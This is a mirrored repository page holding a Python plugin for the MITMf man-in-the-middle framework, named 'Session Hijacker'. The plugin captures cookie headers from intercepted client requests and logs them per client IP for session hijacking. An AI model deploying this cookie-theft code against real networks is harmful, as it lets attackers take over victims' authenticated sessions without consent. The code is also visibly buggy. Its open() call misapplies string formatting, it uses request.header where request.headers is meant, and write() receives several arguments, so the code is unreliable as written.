mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-08 05:51:48 -07:00
30 lines
No EOL
971 B
Python
30 lines
No EOL
971 B
Python
from plugins.plugin import Plugin
|
|
import os
|
|
import argparse
|
|
import logging
|
|
|
|
class SessionHijacker(Plugin):
|
|
name = "Session Hijacker"
|
|
optname = "hijack"
|
|
desc = "Performs session hijacking attacks against clients"
|
|
implements = ["sendHeaders"]
|
|
has_opts = False
|
|
|
|
def initialize(self, options):
|
|
'''Called if plugin is enabled, passed the options namespace'''
|
|
self.options = options
|
|
self.log_clients = options.clients
|
|
|
|
def sendHeaders(self, request):
|
|
for header, value in request.headers.items():
|
|
if header == 'cookie':
|
|
if self.log_clients:
|
|
log_file = open('./logs/%s.log', 'a' % request.client.getClientIP())
|
|
log_file.write(request.header['host'], value, "\n")
|
|
log_file.close()
|
|
|
|
logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host']))
|
|
else:
|
|
logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value))
|
|
|
|
#def add_options(options): |